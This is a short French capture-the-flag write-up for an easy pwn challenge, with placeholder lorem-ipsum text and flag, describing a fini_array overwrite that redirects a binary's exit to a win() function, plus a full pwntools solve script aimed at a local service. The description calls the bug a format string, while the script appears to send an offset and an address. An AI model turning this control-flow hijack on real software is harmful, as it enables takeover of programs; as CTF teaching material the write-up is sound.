1 min read

[CTF GEMA] Lorem

CTF GEMA Groupe 2025

Niveau de Difficulté : Easy

Catégorie du Challenge : Pwn

Description :

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

Steps to Solve

  1. Calculer l'Offset
    • L'offset entre __do_global_dtors_aux_fini_array_entry et lorem est déterminé, car ces emplacements sont critiques pour l'exploit.
  2. Exploit Format String
    • Une vulnérabilité de type format string est utilisée pour écraser la table fini_array.
    • L'adresse de la fonction win() est écrite dans fini_array.
  3. Détournement d'Exécution
    • Une fois le programme terminé, au lieu d'exécuter les fonctions de nettoyage normales, il saute directement à win(), permettant à un attaquant de prendre le contrôle de l'exécution.

Impact

En exploitant avec succès cette vulnérabilité, un attaquant peut rediriger l'exécution du programme, potentiellement élever les privilèges ou exécuter du code arbitraire.

Solve Code:

from pwn import *
import sys
import warnings

warnings.filterwarnings("ignore")

elf = context.binary = ELF("./main")

def conn():
    if args.LOCAL:
        r = process([elf.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("127.0.0.1", 9902)
    return r


def main():
	r = conn()
	# offset=(elf.get_section_by_name('.fini_array').header.sh_addr - elf.sym['lorem']) # worked too
	offset=(elf.sym['__do_global_dtors_aux_fini_array_entry'] - elf.sym['lorem'])

	# print(r.recvline())
	log.info(f"elf.got['puts'] = {hex(elf.got['puts'])}")
	log.info(f"elf.sym['lorem'] = {hex(elf.sym['lorem'])}")
	log.info(f"offset = {offset}")
	r.sendlineafter(b': ', b'%i' %offset)
	r.sendlineafter(b': ', p64(elf.sym['win']))
	r.sendlineafter(b': ', b'-1') 	
	r.interactive()

if __name__ == "__main__":
    main()


# __do_global_dtors_aux_fini_array_entry manages the invocation of destructors for global and static objects constructed during the program’s execution. This ensures that all resources are released appropriately, avoiding resource leaks and ensuring proper shutdown behavior.

FLAG :

FLAG{comming_soon_...}